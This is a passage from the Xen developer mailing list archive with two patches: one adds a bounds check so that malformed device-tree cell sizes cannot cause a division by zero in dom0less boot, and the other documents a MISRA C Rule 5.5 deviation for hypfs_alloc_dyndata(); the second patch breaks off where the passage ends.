X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=gi+hAIbS8/gIrHkHS7T0zAItTcc/4BWfGtpOv/q7dXbnGiA/3tRJWJM8GZmxfUXaPUExjtmmXxtMxzCeHbXx6xlUTcBHCH5A6MsSSM8pEPUWM3Wf9f2/N0TLJTGbG3nn4iQ8Qn5ExvtwGDhsG6ktqEg5qA+q/NrtKvvD2aKLp+YdI0TmOz/NZfhSl+HstYOApaAx1p/n+pCyiHOoGTtqJD72B1lhhFZgZXlh4vWna89yICGalbCjYUo/SASVCjlU130+V7dF3y1cCHYF5USFy6SuYdZRQUk0nK9zy2HAHJFCL6zJjWiLCHh1xcezPbruTfbd4mBkQX0pUONhdwsM1A==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=VYSPPdVvAI5lUuozSM16Or77N8DGe8MHqHcPvmSevBs=;
 b=ag094WXexVTITY3aR1l+2wf5j5+5gXrX6E5mReRjhV8hloiw6RGIk69O3wNcXyweaFvKktw8oO7kH2EjSpTBzQOx2fedgAVxenoyUm3RsG9TVLTYxr4N0c03lhMMqZ+uWNCoWOQQaIGSYVw/aT+5bMT88N3GekAyPYfAwe63FLhzMJvJY3rFkRghwbtvU1ZxhRCh0NJwA5JsH84NljEtVwzz0+Ak+/ssKDW90o8l7O2ENWS3/bbmObb0WjdvfnuPz2LIyWKaRY33o2TeNRuiIPpK7jrmH17E0aV4u/3qdz1U0gxmgVJwHuy4Uz9DQDlACd7nYRtmmeY6kGTdP3j9MQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=VYSPPdVvAI5lUuozSM16Or77N8DGe8MHqHcPvmSevBs=;
 b=ucqb0FQQbw4lPLGWy2Iuzi+GXA0P1V/4jGM15BjqlsF2Nn8wBVgAzHw4bb8tWFVBl360It27NjCJ3cD9dJdAmxU+wjcmYjgejrsB1DZ1cqEeCuqU70BzynFSy/c1tm2sF1pZl/lHJmiPmhy2ytB2+wdptlS3bPXmedzcD8C+K9Ikec2GL3NSxZK0TkeyhKmtAIKL8WxmJ3j7haIiBL6gcgbsdircsf6Dto+tnp/tHYu7+WtE6ALRB+PJODBoRnJKsstyD3FMgqENoo7UVXDzGfjhawanlQI+Vdoe/kWYU/QJ+0zI89HJoiskLR2PhnLCNEWybQKQipJliBmAtgp6JA==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>
Subject: [PATCH v6] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH v6] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index: AQHdEfWIck0nSDsiiEuWy8nQa16TYw==
Date: Sun, 12 Jul 2026 11:56:55 +0000
Message-ID:
 <351b89ba726d5524fd920cc28b7204d683fa8c43.1783856794.git.dmytro_prokopchuk1@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|AS8PR03MB6869:EE_
x-ms-office365-filtering-correlation-id: 81e743cd-b3fe-4e76-9582-08dee00cab54
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|42112799006|376014|23010399003|366016|1800799024|3023799007|11063799006|18002099003|38070700021|56012099006;
x-microsoft-antispam-message-info:
 sSuKo+8ZjttKa1bCNsJ2bx853bKUXpDDDkkNlTE4wwPxgJvn5Nc49AcMzGcedDdoH0WWABCjhqxkbZhiVuuPvoLumQ17HityrA9PaXZxz9OwAPBX/JC6L94i/tndlNDPGTDi2aelhZgFvudQNLgVnq8RwGeFfeGzO3N7Qj5NRNtRxxp4Xvz8xwFNwRriCCQ6201b6r4vmALINQqftWMnzaCsvVIHec9pXVTb0A589GzpH/adiGeEd5Ob0GlNbBrVtjRxuIfZn2s7p/04YAJadl0lPk+vpcEAykpzEVeoG/w3oIH23DbVpOPZLL2CD/r4cDaVuyyH8xj9gM4U3Dc2ASZemERHvmaBnPvHjjkFtgzplvR+zm0USEg07zg4HNVrUr1gacjuTxRUZXQ8tt0+06TsYZ4NkJilw7Hte5wCPIN93nyYw1kQCDNipHEpiC/O9x85BD9NRDVtP/apN9J818Mo77SwXfBTh8s+hr9B/FOrt+JXT0AuqDPZGfmRjO2X9tWLpCW1tCOYiTiEANo/8NE5DBXK/eSLWsjDk6fW/kkwC+HwklmnoK+OJu4Kb0b71vxl7nvQx/XnSoGcGFRvTGTWc/sy7oTvxEEn/J8UVFQ/5cepY13AiZgnplkcQPnSWcyQseQW2JsUP0v7yuiuHHL1uJRSmefqbRW1Z1Gby1fr1DPu+UlPExMXH70R2zLRsONCRiY7nupeVpDo26EdbFpOoUcPYAjpFrBZrK6reWU=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(42112799006)(376014)(23010399003)(366016)(1800799024)(3023799007)(11063799006)(18002099003)(38070700021)(56012099006);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?B+ASsgAtGDTNf9LPXHMcRFyjgpZvh4894aBrJ1lvlZzqGzy8XxAuPabANr?=
 =?iso-8859-1?Q?rckSw5TD7JgIrcBEjdReAntKK7sCT5UMds9a8X8PqJGAFOxS5Ho0htbZVG?=
 =?iso-8859-1?Q?dJ0X6HUQRjFWBUpw/Om3pYvSUBUixIU06cJBHlxZwelneon6+5S3CnmtfG?=
 =?iso-8859-1?Q?ViKOPEC1cf/7K0B+CDsbU/incqqx7lG741UavewcAy7lkNLXTluOKaZof5?=
 =?iso-8859-1?Q?g5UhOHlWHBND4GFeNX4b9qzXgLx6YWIkixQeX81pK1iRkvSku/gDxnw41v?=
 =?iso-8859-1?Q?SaYV127LLpFn0Q9045A+OKCZa1vpUSzA2CwEKoamR3abZ+zwU5zFaGOBto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xmqdiGX43Oc9hbad9J0MA1BHJUkOvQSyJBRADyGHHQDdNYagW?=
 =?iso-8859-1?Q?ZQZPnstEGxZLI/cgcpIK8zkI/19B7k4yxSKeWl30ixLN3Y2NjlqqvToCrY?=
 =?iso-8859-1?Q?vBnTBu9XICjXNlgHle/PdEOgMU1k9Spadm//K/F3LEHYwbh//OVh1bplew?=
 =?iso-8859-1?Q?81hCHHOp3FIB+XG5q9uSMpyMFPmJXx32E4tQ4XCOV7lg546apz7DTWIJCW?=
 =?iso-8859-1?Q?bREr7xbrZjIibGSt6mGN1BguTDaINEMOS3tS97D5L3UaC/XlIUHKCCysXm?=
 =?iso-8859-1?Q?XF1rrYwuoGL7F5qAcAjQRrJQmhlZj2w+aJfmUOuDynM2puy8EYlyz/lMte?=
 =?iso-8859-1?Q?t6RH99rdbJqozstfVtdSNjB/y/kGPK4g4Dnff8tqiXDphiE0DmrxfrwYul?=
 =?iso-8859-1?Q?rB40yHDUezi9BhBa0nwts7xZYuhPUl9q2cJOTT0Y2tZuT2nJ820F+3QGsG?=
 =?iso-8859-1?Q?0VQJjt9uOi/clntWbEmdUVZR3XtoXNPrCROFR7bPaTGK+fhICf3fJhTMpd?=
 =?iso-8859-1?Q?OsO+4AZTy+AwEThM0oD7BnKDDkPsAjogQFsFBmMkgYIMCDH/vQKHe2DH2S?=
 =?iso-8859-1?Q?9DNccy8DEnXxIqVWitUHXBuixgVmDtM=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 81e743cd-b3fe-4e76-9582-08dee00cab54
X-MS-Exchange-CrossTenant-originalarrivaltime: 12 Jul 2026 11:56:55.1605
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: gXyc4sNxzMCImLfFsu5IvCNvmbDWRiWja26L9K+eRwyy9Tlc30KeftY6S9461VP1lFFdqTJskGjnIf2XAkrlAi/pCBSkdhnRbSpeYMNrkp0=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB6869
X-purgate-ID: tlsNG-16d1c6/1783857418-F9548617-173A00F6/0/0
X-purgate-type: clean
X-purgate-size: 2713

A malformed partial DTB specifying both '#address-cells =3D <0>' and
'#size-cells =3D <0>' causes '(address_cells * 2 + size_cells)' to
evaluate to 0. This sum is subsequently used as a divisor when
calculating the number of regions in the 'xen,reg' property inside
handle_passthrough_prop():

    len =3D fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) =
*
                                        sizeof(uint32_t));

This leads to a division by zero exception in the Xen hypervisor during
boot, causing a hypervisor panic/crash.

Fix this by validating that both 'address_cells' and 'size_cells'
are within the range of [1, 2] at the top of handle_passthrough_prop().
Any invalid cell size combination is safely rejected early with an error
message and return -EINVAL.

Furthermore, update handle_passthrough_prop() to use the sizeof(*cell)
instead of sizeof(uint32_t).

Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
---
Changes in v6:
- move cells check at the top of handle_passthrough_prop() with a comment
- reword commit message
- replace sizeof(uint32_t) with sizeof(*cell) (use expression instead of ty=
pe)
Test CI pipeline:
https://gitlab.com/xen-project/people/dimaprkp4k/xen/-/pipelines/2667596761
---
 xen/common/device-tree/dom0less-build.c | 15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tr=
ee/dom0less-build.c
index eacfd93087..9513c1c837 100644
--- a/xen/common/device-tree/dom0less-build.c
+++ b/xen/common/device-tree/dom0less-build.c
@@ -152,10 +152,23 @@ static int __init handle_passthrough_prop(struct kern=
el_info *kinfo,
             return -ENOMEM;
     }
=20
+    /*
+     * xen,reg holds flat host/guest physical addresses and sizes, so the
+     * inherited #address-cells/#size-cells must each be 1 or 2. This also
+     * guards the len division below against a zero or wrapped divisor.
+     */
+    if ( (address_cells < 1) || (address_cells > 2) ||
+         (size_cells < 1) || (size_cells > 2) )
+    {
+        printk(XENLOG_ERR "Invalid address_cells %u or size_cells %u\n",
+               address_cells, size_cells);
+        return -EINVAL;
+    }
+
     /* xen,reg specifies where to map the MMIO region */
     cell =3D (const __be32 *)xen_reg->data;
     len =3D fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells)=
 *
-                                        sizeof(uint32_t));
+                                        sizeof(*cell));
=20
     for ( i =3D 0; i < len; i++ )
     {
--=20
2.43.0


From xen-devel-bounces@lists.xenproject.org Sun Jul 12 14:05:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 12 Jul 2026 14:05:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361068.1613563 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiunZ-00014v-MK; Sun, 12 Jul 2026 14:04:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361068.1613563; Sun, 12 Jul 2026 14:04:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiunZ-00014J-Ix; Sun, 12 Jul 2026 14:04:49 +0000
Received: by outflank-mailman (input) for mailman id 1361068;
 Sun, 12 Jul 2026 14:04:47 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1wiunX-00011o-Kj
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 14:04:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiunX-004b44-07
 for xen-devel@lists.xenproject.org; Sun, 12 Jul 2026 16:04:47 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a539eb8-e002-0a2a0a5209dd-0a2a4506b1e8-38
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:04:46 +0200
Received: from [52.101.83.95]
 (helo=GVXPR05CU001.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a539efe-0835-0a2a45060019-3465535f2cc0-4
 for <xen-devel@lists.xenproject.org>; Sun, 12 Jul 2026 16:04:46 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by AS2PR03MB9540.eurprd03.prod.outlook.com (2603:10a6:20b:597::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.23; Sun, 12 Jul
 2026 14:04:45 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.019; Sun, 12 Jul 2026
 14:04:44 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=wZqb2QjNkYYs8YImGebgSvADWlIoN+xi/REvKo9fwqPa0blpX6wGjq4VJ7jc91VzJraANOBrtwrrwrjAMrCb4LH4nC1R/eqyc8rNJe0X/8flUPC5T2kpEMWxCBbZ3/th0V80VAbrzFUkP1rnHe/Rna6cj2iSFy5uruTSk6605lxDjV/Sxbh7tHWTJczTFlvCV7D9fEcLfkQUF8QXukTbo5Fu1aH+06o6+7DHhHqvl/Bnn8gnT3EQYLvn1Feju2376UMXD7DlJzEkXePxBgpEs4ddz9iIz9wpaIQRWb+T74K8sSRpeMMogTNc9Um3n+YQydiXVgkYV391P2EtS4H36w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Aikdj9hX9Ez/J0T4upRKLp62iT8tY2+jkV0GfNhHj3w=;
 b=PyPyy/DD7FaayYdCDyyjnCdItWAVNM/LCyyr2WM5VEQBbNNF6hK/D9gIyqqEpeX+7XmumtDPph9TcFC2aaUH37reVVpbgLbRESUWi24bLGgUVV4AEaGzuC/pHYrhGw1jNVS3m+BpNOClqCdSVo9UAB+j3GV+Zb9rS0fzpFbRTb0xoqYf8w5OaEu7T5AFRUW49q3OV791BKwB2naMal5b/jsYx76wbfo2ao0sJ/zaO4Dvlb4MUdEJYNkMQo1EVI4IyV4U/t/T/2jFnuUfF8DALEwJgSJQM0e07CMT14f2xcj/awFmHdtZDGp21yo0Fu/Rdf62WWNWIkZr7RR+7PvZSA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Aikdj9hX9Ez/J0T4upRKLp62iT8tY2+jkV0GfNhHj3w=;
 b=c5eFi0IE+V5FXJsSsdkxmWqwXBKps3dUM0j+UVcl0ac1InnDP1yUE4tn/qt6V3rx/SYZl6RNzTE/p0FMZm2/vJm8cFJGvgALeaM4V2UUIL2/PDXRI/Ouf+bhbfqYA2hvpVHAXzZQM+2Q/EQ6yct4bixGDT0k6WxE8k939pQL79nNoZwx1UdgZtQtON5aYuur2w3MyV0AJ+1UBzcMAQVMuQQeEEkil9Rpo6Du4+eWmL9mecJGv+JMOBpsUho6nmc3qCZ7ZunFoZenexND+W6ZYWEn/VHAQTLXAqfuNbhnPBvcZgIBG370DBGipoe5HL+x6+PuWIhy3xxIuxwEbY46+A==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Nicola Vetrini
	<nicola.vetrini@bugseng.com>, Doug Goldstein <cardoe@cardoe.com>, Stefano
 Stabellini <sstabellini@kernel.org>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>, Jan Beulich <jbeulich@suse.com>, Julien
 Grall <julien@xen.org>, =?iso-8859-1?Q?Roger_Pau_Monn=E9?=
	<roger.pau@citrix.com>
Subject: [PATCH v2 1/3] misra: deviate MISRA C Rule 5.5 for
 'hypfs_alloc_dyndata()'
Thread-Topic: [PATCH v2 1/3] misra: deviate MISRA C Rule 5.5 for
 'hypfs_alloc_dyndata()'
Thread-Index: AQHdEgdk86c5ivEPyUWTFvlIOTPRVw==
Date: Sun, 12 Jul 2026 14:04:44 +0000
Message-ID:
 <365f750cfbc626e763819da2604bfccab2ac80f8.1783864426.git.dmytro_prokopchuk1@epam.com>
References: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
In-Reply-To: <cover.1783864426.git.dmytro_prokopchuk1@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|AS2PR03MB9540:EE_
x-ms-office365-filtering-correlation-id: 5732a9ca-9ca0-4a2a-143a-08dee01e86df
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|7416014|376014|366016|42112799006|23010399003|1800799024|38070700021|6133799003|56012099006|11063799006|18002099003|22082099003|3023799007;
x-microsoft-antispam-message-info:
 XQ+Kevlc3CthY0HZqBZ15qpJ5w/9eovsMr/6KXwnZF3UnPzb8FlgMttgm1LT+SkrE9NhsTpA/iNYlsEgjezwZMy+klFmMcRZWszYyGOc9fnK1gcKxEwxzKArfUWviYEBOZGrDV8sKmeHZYWds3Y7wIhzbv4hc3dY4cQin/Rix26uKedLOnUrpGOGFDsNNYqFakPlZsgGnghw31XxalQOUGNovdykwJfP4TyD59LonHbqHJqswqgEOUyqMwIijgm0ly99Xw1Baln+mpc1//1lmiVaXJcchHUnp+wkYlptYyhCqFOXIEeD5lh+Bno3Z07ABG9L0m/06yc6zdeZ8jFKDXoxtIi6mLzLqOswb4c4QyIoeDQLSyCVrAuHs/HjvMf3yXv61hHKvvOlza6j+bv43iXuCKyQbJBClzE3WyqLxzIowIUVJuyiUy/Pgq49MmCsL7OdyRvZIoaeEatbgXEtYJ+AncfVwn7M4CbhtGE4wYDf+MQ15ciKNRK0sjaktoSfGWd4tU1TVNlGNvUdsr9O5jJTZr50i8ZjT5vhDpgWWnTgJd1OvX892BMAiEikkSubqQvHgUi8O7yTn1nzmkPVI3orXJs2IpVoCkr7p8zXmeWNYiLjf0sHHI7rsloQS5TZZ2gNoxnERdrmjVcqkWhNmN5Re9RyX447PpkTxX8wFbDjdX1z6QgBywifg0wDtpO1m70lq4Usg/jz7rl/4WU53EaEDcweIDcoWefjcN4a7M4=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(366016)(42112799006)(23010399003)(1800799024)(38070700021)(6133799003)(56012099006)(11063799006)(18002099003)(22082099003)(3023799007);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?14q3TJ841CYSsPMCjNK51LyR7ntP3QgvEeBTXXbB95ztUIL1DTMds7zaw8?=
 =?iso-8859-1?Q?znYSztZn8Ek5C61xx+rJ8chkUTx8M4qMjZGTN2f+T19EEST1YywXOD9ZH1?=
 =?iso-8859-1?Q?kIeuUVkMTRKmmy8aSetf6i8w+xd7a5oeZBOjBG9DCf70cGSOeX/rWRyjsm?=
 =?iso-8859-1?Q?PKTVG9b6qXlu47m24kdyVQR6oiF1idOEpok7QXNvmoz9dVJbVKtlUo1VEH?=
 =?iso-8859-1?Q?lVSPxqo0+kWGEQd87rM74JyzNZm/9KaKHm4MyM6a7CgUul6t6AEBVEvkDN?=
 =?iso-8859-1?Q?+22WMGMw6FP0ZmbFmVLDxwDn3f7PNa90ZitAbuQPdSf5/6j9O7woEZG70S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859-1?Q?JoT+pUe9Piu3r2TSmBuDebCK+TZ1Wn420Ix1ZxWSPMoTqoYh9d0kNUImmD?=
 =?iso-8859-1?Q?0uPzT+fOSAD1u0sDjVFt4WHGq76mJYcEKcpndAkuawHdkpTNzv93TTaiqn?=
 =?iso-8859-1?Q?TFSiMYRp5RvLbESZeLkmLRmG97R0MmZYzmHT1vCDohbCHyzILhi3lc+fi9?=
 =?iso-8859-1?Q?GwKfgvGDpKZJuyUxl461XcOJ3HObefVXEQjQnfUOjWHtVFVoh/QRT9hy4g?=
 =?iso-8859-1?Q?7Hp69u4HEae27p2x4h/hkwA9fwJcaoRSdjWhXthY40t6+MhdzggmDA+IcM?=
 =?iso-8859-1?Q?HlMIiZtfbfprT81+ym+Qq+/MXDNf3j0cfh6lhht5P5B74jwqGlgodAnHkd?=
 =?iso-8859-1?Q?fzmNf5IT9p3PYlswTMsexBrlPdjPxm287mOvnFwMo2xCfFKpNHdZdBE2mL?=
 =?iso-8859-1?Q?2kNCOSLqg9th1JvCyyFBWRQaVMf1qY80Z/z6LAD2a7GrETcfj3axiU3gHO?=
 =?iso-8859-1?Q?hq9mRLm4fHsoLSrmOC+xCC4IAwa4jVH2lSQMASwAN5yfq1CjZ8E1w6yqBA?=
 =?iso-8859-1?Q?jGiBjEe05fsbMB1FaqoU0lL2NQ1mmdMvoWV+yTnIxYze1RyrxJZ1445ZwZ?=
 =?iso-8859-1?Q?lgF9sVZMnc1WXjrDzHv2GfkYbzyxus4=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 5732a9ca-9ca0-4a2a-143a-08dee01e86df
X-MS-Exchange-CrossTenant-originalarrivaltime: 12 Jul 2026 14:04:44.9303
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: 117NiS7hxS6lG42AHtVm03trps662ETqKIJcXLpmSo7eIQ+g6//yTV5XES+vbvlufhLgaut4eyOI/ae8vnJLbPyDXvCl89tHAm2NDHGcDJw=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS2PR03MB9540
X-purgate-ID: tlsNG-16d1c6/1783865086-FAF55617-69B895B7/0/0
X-purgate-type: clean
X-purgate-size: 3525

MISRA C Rule 5.5 states: "Identifiers shall be distinct from macro
names".

Update ECLAIR configuration to deviate identifier and macro name
clashes by specifying the macros that should be ignored.
This includes 'hypfs_alloc_dyndata()', where the real function takes
an allocation size and the same-named macro is a typed convenience
wrapper that expands calls using sizeof(type).

Update deviations.rst and rules.rst accordingly.

Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
---
 automation/eclair_analysis/ECLAIR/deviations.ecl | 4 ++++
 docs/misra/deviations.rst                        | 9 +++++++++
 docs/misra/rules.rst                             | 4 ++++
 3 files changed, 17 insertions(+)

diff --git a/automation/eclair_analysis/ECLAIR/deviations.ecl b/automation/=
eclair_analysis/ECLAIR/deviations.ecl
index 7d4b6f2948..7e743f7c5e 100644
--- a/automation/eclair_analysis/ECLAIR/deviations.ecl
+++ b/automation/eclair_analysis/ECLAIR/deviations.ecl
@@ -132,6 +132,10 @@ These macros address differences in argument count dur=
ing compile-time, effectiv
 -config=3DMC3A2.R5.5,ignored_macros+=3D"name(update_gnttab_par||parse_gntt=
ab_limit)&&loc(file(^xen/common/grant_table\\.c$))"
 -doc_end
=20
+-doc_begin=3D"Clash between 'hypfs_alloc_dyndata()' function and macro nam=
e in 'xen/include/xen/hypfs.h' is deliberate."
+-config=3DMC3A2.R5.5,ignored_macros+=3D"name(hypfs_alloc_dyndata)&&loc(fil=
e(^xen/include/xen/hypfs\\.h$))"
+-doc_end
+
 -doc_begin=3D"The type \"ret_t\" is deliberately defined multiple times,
 depending on the guest."
 -config=3DMC3A2.R5.6,reports+=3D{deliberate,"any_area(any_loc(text(^.*ret_=
t.*$)))"}
diff --git a/docs/misra/deviations.rst b/docs/misra/deviations.rst
index b048309596..ab80f01195 100644
--- a/docs/misra/deviations.rst
+++ b/docs/misra/deviations.rst
@@ -176,6 +176,15 @@ Deviations related to MISRA C:2012 Rules:
        unused 2nd and 3rd parameters to avoid warnings or errors related t=
o them.
      - ECLAIR has been configured to ignore these macros.
=20
+   * - R5.5
+     - Clash between the 'hypfs_alloc_dyndata()' function and macro name i=
s
+       deliberate. The function is the allocator taking a size in bytes, w=
hile
+       the macro is a typed convenience wrapper used by dynamic hypfs node=
s to
+       allocate per-request traversal data with the correct size and retur=
n type.
+       The implementation explicitly undefines the macro before defining t=
he real
+       function, so the name clash is controlled.
+     - ECLAIR has been configured to ignore this macro.
+
    * - R5.6
      - The type ret_t is deliberately defined multiple times depending on =
the
        type of guest to service.
diff --git a/docs/misra/rules.rst b/docs/misra/rules.rst
index b3e929307d..4f7b7fc848 100644
--- a/docs/misra/rules.rst
+++ b/docs/misra/rules.rst
@@ -222,6 +222,10 @@ maintainers if you want to suggest a change.
        Clashes between grant table functions and macro names are allowed
        because they are used for discarding unused parameters.
=20
+       Clash between hypfs_alloc_dyndata() function and macro names is all=
